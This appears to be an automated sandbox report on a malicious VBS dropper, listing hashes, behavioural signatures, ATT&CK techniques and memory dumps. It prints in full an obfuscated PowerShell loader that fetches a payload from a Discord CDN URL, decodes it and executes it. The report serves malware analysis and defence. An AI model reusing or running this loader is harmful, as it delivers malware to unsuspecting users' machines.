deaba7a864c44913637d6e989f0a0d08e938259eafd787111be67c0e7bd310cf

General

Target

Stningsupf.vbs
Size

20KB
MD5

5529cd44f2c094c191a17229e665309c
SHA1

0ada61210700fa1c500c175f077e816b3b4e8d5e
SHA256

deaba7a864c44913637d6e989f0a0d08e938259eafd787111be67c0e7bd310cf
SHA512

c15bad22c731839d23b67afec0588d9ebc613d06e48842c1c781ee7e46ca5aa5b3256126cc31b82ee0b019117b88ff93bb23360930c864c36de9904fb9bb10bd
SSDEEP

384:d8/BPgKFRKYo9cAgwDRFO/DCu1pnrv97hfC2t5r/Xra:+EptgvG0Fl7pCwr/Xu

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

3 828 WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2856 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2856 powershell.exe

flow	pid	process
3	828	WScript.exe

pid	process
2856	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2856	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 828 wrote to memory of 2856	828	WScript.exe	powershell.exe
PID 828 wrote to memory of 2856	828	WScript.exe	powershell.exe
PID 828 wrote to memory of 2856	828	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Stningsupf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sviger Ethn Korros Torden Nrtbesl Delilahch #>;Function spidgermac ([String]$Trykluf120){$Nstenfljt=8;$unhandi=Sekundave4($Trykluf120);For($Ansttel79=7; $Ansttel79 -lt $unhandi; $Ansttel79+=$Nstenfljt){$Sekundave=$Sekundave+$Trykluf120.Substring($Ansttel79, 1)};$Sekundave;}function Fornjels ($Strut){& ($Sekundave01) ($Strut);}function Sekundave4 ([String]$Valen){$homoousio1=$Valen.Length-1;$homoousio1;}$Sekundave02=spidgermac ' LalopaTRensemir PartreaCoopeesnFragmensStngeshfGrdimyre Thrombr Uropodr ToldtiiManifesn MeadebgDeferri ';$Bipolari=spidgermac 'EylevsbhHulkorttHjemmestGuanosbpFodgngesBrygger:Opvarmn/Termina/ expliccUnconcedMonicesn Freshe.UninstidReificeiSumarghsReiniticObserveoPresterrvgtafgiddilectiaOxyhydrpAksellepBaandsp.negativc Toggero Scufflm Ovalbr/kternela KalifatSkattegtNattevaaEntalsfcmicroplhWantwitm Inexcle MetaltnNonionitDihydrosCompani/ Revali1 Elychn1Tugthus9Buninge9Lynchen4Smaatte6Drenges4Shivare8Knsroll2Sirdars3Piggede7Knogles3Claimsm0Lakarpi2Transum1Resuppr2Vuggens9Bombnin5Katastr8Pegefin/Dekaedr1Streamw1Uranice9Toldpos9 aftera4Frimrke8Synocho3 Gaster6Litoral6Accente8Underst5Pattern4Competi0Fauvism9Procure6Lagerbe0Twinshi9Beamsma3Indiscr8Disarra/RheotacGFadykrylMarinusaAcrologn QuinzisForhindlEightba.HyrennosHumanisn Afspejp Taxine?BihulebeMdewakaxPatriar=Rasbora6Moesgaa5GrimiercBenefic2TroakfybFletkom5Pacific3Nursery7Satirem&TraumatiConcamesAntiref= Progra6 Headpi5Beskyttbinclina0Alpinis4 Ungdom0Forraak3Gkanter7anisett& SpndethPierianmForhale=Aflgnin0StriolabSenecio7 Udlaan9 Earthd0FabriksbTenantb8 Tobogg0RabificeFrednin9 Irradi4 EftergdStersby1berebde1Ghegbun4Jenbryn4OmviseodRosenka1 Betryg3indefryb Unjudid Annikkbschweiza Remark6Plesios8Unconti0Nationa8UnaugmebPaasatt5Ketimidd FluoroaNatrium6Perpets6Underme7 Tuteesa Vallid0Radioac5Puberte0MarshlocJournal1InorgklcSkraalsbForeboaeInviola3carbona7Filiati7Akroter0 Beggar4 Kunsth8EnogtyvcSammmen5hngebro9cigarru4Excesse7 Refere8 Unpassaeffulge9SubdivicKanvasebGalacto8 Broder8Sciroph5Sladret7 Bindemd Bondek&Selskab ';$Sekundave01=spidgermac 'KonkurriChanneleForevigxprodukt ';$Sekundave00=spidgermac 'Babbitt$germicigStenocelFleuretoRoverssbSuperreaSelvindl Candle: EconomhUdviklioreboantmgardieroOctoniooButterfu LetsinsEmbryoli FlutteoMicrowo8 Dbersb Klapsto= Lazyis KonfuseSNonchaltReklameaCubanerr Hortent Hemihy- BardieBDecilliiTilflditVersionsNotocorTFugtigerAvyayibaShuntven MetonysTvangsafBondedaeStrengerOptimer Sondre- KontroSJoneskooServiceuWreathwrWeepiescElectroeVeksele incrass$ TankreB TaaregiKrlighepPleuraloHypsiprlHuffinga UropfrrBetelgeiRwandac Dichsan-KrigsreDFarvenuePlanetos SnatchtTopplaciAfgnavnnBgebladaEfterhatStiklemiLeksikooPuncturn Fraskr Aurelia$Rverkbeh StylinoMouthwimReattrio brandsoBiasteru Klumpes Normali BindinoFlgsdis2Tilskdn ';Fornjels (spidgermac 'Foruren$Stokastg ResupplCounteroAntikvibwairepoaNonconslfodbrem:AppresshSennepsoPryskanmFrembreoKolonneo WordliuKrystalsliquidiiEsteresoScallol2Vernill= Overfl$AndaluseChristmn SculptvDemonst:AcheeraaAnabolipSkumtpppsuperevdKritrimaSigfilettermanaaAktioni ') ;Fornjels (spidgermac 'SkyndsoI EmbryomSoonerlpUnverifo EmanuerKlagejet Argusj-DeficitMkrybskyoKildeskdPacificuanretnilLascivieColoniz FrisensBDrejekniGeologetInstrucspestoloTSkingrerleeeconaFjsetsanElefantsAccommof MisnareSemiovar Reprse ') ;$homoousio2=$homoousio2+'\Hard.Bor' ;Fornjels (spidgermac ' Agoniz$ XanthogMisappllTilkastononlibibForaeriaUdkikspl Iridoc:RankernhIrlnderopolonizmHaandtaoDatamato TapetsuParametsTonelejiJrgineeoHistoch7Sociali=Spdbrns(SmagninTFornorse Stormas GrmmedtCraniop-ScalpfoPBilkirka Perpmyt SnyltshOrdmnst Skrmelu$Forsmmeh AmtslioEumoiromBodsticoSystemeo DawtieuHenvejrsDitchwaiThickenoravneag2Urochor)Tilbage ') ;while (-not $homoousio7) {Fornjels (spidgermac 'CockupsIAnsetjafPostkon Profli( Ayahpl$UndersghPerclosoMalevarmSupposioapasttroArvemasuDalersksChinboniSildemaoDelticl8tinerer.NaturlgJTryklaaoJazzparbSubtoweS ScritotForfladaAristoctHeatheneForspil Offeret-OverseneNosedivqfundrai Adsorb$MagttekS StormkePatriotkPolzeniuTatovernTranspodVirksomaDipolarv Heptahe Tephro0 Tackif2Milieum)Jannies Scammon{BevisbySRecontrtStablevaRegionsrSkvadrot Blatan-SlugginS Ricercl Mikrofe RescueePapirinpGrovbla portpa1Seclusi}gastromeDepartml ImpasssamuyongePolemis{ ArchimSPenetrat HarietaPinacolrArchispt Mandor- MisdecSReflekslDyadsveePopelikeMinorshpSammenp kidden1Ridleys;StarycaFOverspro AmazonrTankelsnParadigjVoltanoeRidgesulKloakmesAcrosto Friarly$BalstyrSStedordeMilieurk fferbouSamdrifn AngioldHysteriaBuningevYppersteKonomii0 Opslug0Secrets}Psylliu ');Fornjels (spidgermac 'Centere$PryglssgDrivmidlUncovenoUnremunbpegepinaCubiclelCopable:KystlinhAmortisoBrevvgtmSporobooAntimono KongesuMollashsLiciasriCozygldofejebla7Radikal=Henwinn(SbefabrT Raggybe BagtppsTwankysttepidsa-InterasPAfdelina Interptconsignhnowthef Nonconc$DianthuhAcrasiaoMendedimNedklfroalamiquoUndertiuArsesposTurnbuciCoaliseoBoremas2columni) Udland ') ;}Fornjels (spidgermac 'Knackie$Pendantg Genlstl KapitaoOverhalbVenturea LiverllRekrnke:ViderebREccentre SubmansIntercopIonicda Arfilli=Unenfor UnfixatGGalpevaeAustraltKulegra- CriticC kameluoOtorrhanQuintalt Buestre Tilplan AbstratAnmrkpa Struldb$TargoflhJustervoBaadfrem TurnetoAangstroChickssuIndestas StultiiWeeweecoHummert2Chiffon ');Fornjels (spidgermac 'Halsema$AgregatgEternellBukledeoApostrobHousebaaJerbilll Bellat:VisualiBQuinqueuPaaskyntOverdrii byzonekFortifis DefedadBufferedDomkapik Fljlsg Cerber=Neurops Fladem[AminesaSNimrodiyEncourasWallpapt MissioeKaraktemHyothyr. ReposeC Phleboo AmbulanTrevlervlipothye RefererInterfetMigrain]Forfors:Skoleun:AllegorFmonotrorTwitteroFiskekumUnconceBJademntaKanoners Farvefebrutali6udtagni4SuberizS Indskrt racewarBilligvi Moerkln FidelegEstrade(Fremmel$OverfurRundervue Angliks TeltstpLighten)borehul ');Fornjels (spidgermac 'Rematri$Friktiog NoncodlHobberpoSemialcbSkalainaOverenslSestert:parturiSHinniedeAbstrudk Fejldiu FaldernRutebaadComplotaOvergenvKbspriseheckler2Ulfhild Lnforb=Camelli Bevisma[PrebbleSMatrikuyUfologisGerningtDetestaeUdlseremAggrega.CansereTfattenieBehavioxDisgradtArsenit.TakkelaEAllokernNedarvecKathesvoAmoralid lnstoriMulticanskolealgAdpress] Guldgl:Collogu:NordmarAEnklereSGeneralCAuroralIGnidninIClauses.IntegraGzoologiepandleut TypefoS IndbertBemgtigrGaugeabi QuartenMadsenrgYolkine(buksekn$HaandboBSkinnecuutidssvtSlakedti TransfkVovvovssUnilocudFuguistdIndlggekReackno)Otaries ');Fornjels (spidgermac 'Titular$polyacrgOrphizelHydrogro AdsorbbSkyldstaTonjemalMiljmyn:GodvillSFrontozeSkeernekSputtavu Desmarn NanniedScoonmaa PolenkvBarrioseHjlpeka3Opslide=Calcifo$BeskattSAtomkraeWaltdiskSurahhouTartaranaminosydRytmernaKriminavNationaestenkug2Klagesa.TrykplasVentriluFarthinbCrenelesContorttTraumatr StassaiOveruninOpgavebg Lennyc( Hogger3zizitto1 Barnac5Sleevel0Brstils6Selekti7Unmadde,Rehabil2Prognos4Stikprv5Spaltni3Maffios2 Eleusi)Corriva ');Fornjels $Sekundave3;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2856

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab31EB.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
memory/2856-20-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2856-21-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2856-22-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2856-23-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2856-24-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2856-25-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2856-27-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2856-26-0x00000000028C0000-0x00000000028E2000-memory.dmp

Filesize
136KB

Download
memory/2856-28-0x00000000025C0000-0x00000000025D2000-memory.dmp

Filesize
72KB

Download
memory/2856-29-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2856-30-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2856-32-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2856-31-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2856-33-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2856-34-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing